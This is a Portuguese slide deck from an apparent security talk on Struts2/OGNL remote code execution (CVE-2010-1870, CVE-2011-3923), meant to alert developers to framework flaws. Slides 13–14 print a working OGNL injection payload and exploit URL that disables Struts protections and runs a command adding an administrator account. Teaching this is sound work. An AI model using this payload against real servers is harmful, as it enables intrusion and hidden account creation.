2. Sobre mim
Pesquisador e co-fundador do grupo BugSec Team.
bugsec.googlecode.com
Consultor de Segurança na SEC+.
www.secplus.com.br
Co-Fundador e Lider do Capítulo da OWASP de
Florianópolis.
Desenvolvedor de algumas ferramentas de
segurança: http://github.com/tiago4orion
3. Experiências/Interesses
Linguagens:
• C, C++, Assembly, Lisp
Segurança:
• Desenvolvimento de Exploits;
• Buffer overflows (Stack/Heap Overrun);
• Network Protocol (TCP/UDP/IP, WEP/WPA, FTP/
HTTP, etc)
• Análise de Malwares;
• Web Application Vulnerabilities (SQLI, XSS,
CSRF, LFD/RFI, etc)
• Metodologias de segurança;
4. Sobre essa palestra
Falar sobre uma falha crítica no framework
Struts que permite ao atacante executar
comandos no servidor.
Concientizar os desenvolvedores sobre a
importância da segurança na escolha das
tecnologias utilizadas no projeto.
5. A verdade sobre os frameworks
Eles também possuem falhas de segurança ...
− Todos eles...
Java – Struts, Hibernate, Spring
Microsoft .Net
Ruby – Rails, Merb, Ramaze
Python – Django, Twisted, web.py
PHP – Zend, Symfony, Cake
− Você audita o código do seu framework?
6. Um pouco sobre Struts e OGNL
Struts2 é basicamente um framework para
desenvolver aplicações web em Java
utilizando a arquitetura de Model-View-
Controller (MVC)
Object-Graph Navigation Language (OGNL) é
uma linguagem para acessar e setar
propriedades de objetos Java.
Struts2 trata os parametros HTTP como
expressões OGNL.
7. CVE-2010-1870 – Struts2/XWork
Remote Code Execution
The OGNL extensive expression evaluation capability in
XWork in Struts 2.0.0 through 2.1.8.1, as used in
Atlassian Fisheye, Crucible, and possibly other
products, uses a permissive whitelist, which allows
remote attackers to modify server-side context objects
and bypass the "#" protection mechanism in
ParameterInterceptors via the (1) #context, (2)
#_memberAccess, (3) #root, (4) #this, (5)
#_typeResolver, (6) #_classResolver, (7)
#_traceEvaluations, (8) #_lastEvaluation, (9)
#_keepLastEvaluation, and possibly other OGNL
context variables, a different vulnerability than
CVE-2008-6504.
8. CVE-2011-3923 - Apache Struts
'ParameterInterceptor' Class OGNL
Security Bypass
Apache Struts is prone to a security-bypass
vulnerability because it fails to adequately
handle user-supplied input.
This issue is related to the vulnerability
documented in BID 32101(XWork
'ParameterInterceptor' Class OGNL Security
Bypass Vulnerability).
Apache Struts versions 2.0.0 through 2.3.1.1 are
vulnerable.
9. Múltiplas Vulnerabilidades...
• Remote command execution in Struts <= 2.2.1.1
(ExceptionDelegator)
• Remote command execution in Struts <= 2.3.1
(CookieInterceptor)
• Arbitrary File Overwrite in Struts <= 2.3.1
(ParametersInterceptor)
• Remote command execution in Struts <= 2.3.1
(DebuggingInterceptor)
10. Um exemplo de OGNL
http://server/your/web/app?page['language']=en
action.getPage().setLanguage("en")
11. Como Struts2 e OGNL conduzem
para uma execução remota de
código
OGNL existe para referenciar variáveis usando
o prefixo '#'.
Adicionalmente, existem contextos pré-
definidos como #session, #context...
12. Como Struts2 e OGNL conduzem
para uma execução remota de
código
1. Descubriu-se que o módulo ParametersInterceptor o qual realiza a
transformação das variáveis do GET para Java não escapa '#' de
maneira apropriada quando ele é enviado como uma string unicode '
u0023'.
2. Existem duas chaves de contextos importantes:
− #context – OgnlContext – Este possui a propriedade chamada
'xwork.MethodAccessor.denyMethodExecution' o qual nega a
execução de um método.
− #_memberAccess - SecurityMemberAccess, contém um
campo chamado 'allowStaticAccess' o qual previne a
execução de métodos estáticos.
13. Como Struts2 e OGNL conduzem
para uma execução remota de
código
É fácil ver aonde isso vai acabar ...
#_memberAccess['allowStaticMethodAccess'] = true
#foo = new java .lang.Boolean("false")
#context['xwork.MethodAccessor.denyMethodExecution'] = #foo
#rt = @java.lang.Runtime@getRuntime()
#rt.exec('net user /add newadmin HACKED')
14. Como Struts2 e OGNL conduzem
para uma execução remota de
código
É facil ver aonde isso vai acabar...
#_memberAccess['allowStaticMethodAccess'] = true
#foo = new java .lang.Boolean("false")
#context['xwork.MethodAccessor.denyMethodExecution'] = #foo
#rt = @java.lang.Runtime@getRuntime()
#rt.exec('net user /add newadmin HACKED')
http://vulnerable_host/login.action?
('u0023_memberAccess['allowStaticMethodAccess']')(meh)=true&
(aaa)(('u0023context['xwork.MethodAccessor.denyMethodExecution']u003du0023foo')
(u0023foou003dnew%20java.lang.Boolean("false")))&
(asdf)(('u0023rt.exec(“net%20user%20/add%20newadmin%20HACKED”)')
(u0023rtu003d@java.lang.Runtime@getRuntime()))=1
15. Como escolher a tecnologia a ser
usada no projeto?
Consulte a comunidade de segurança!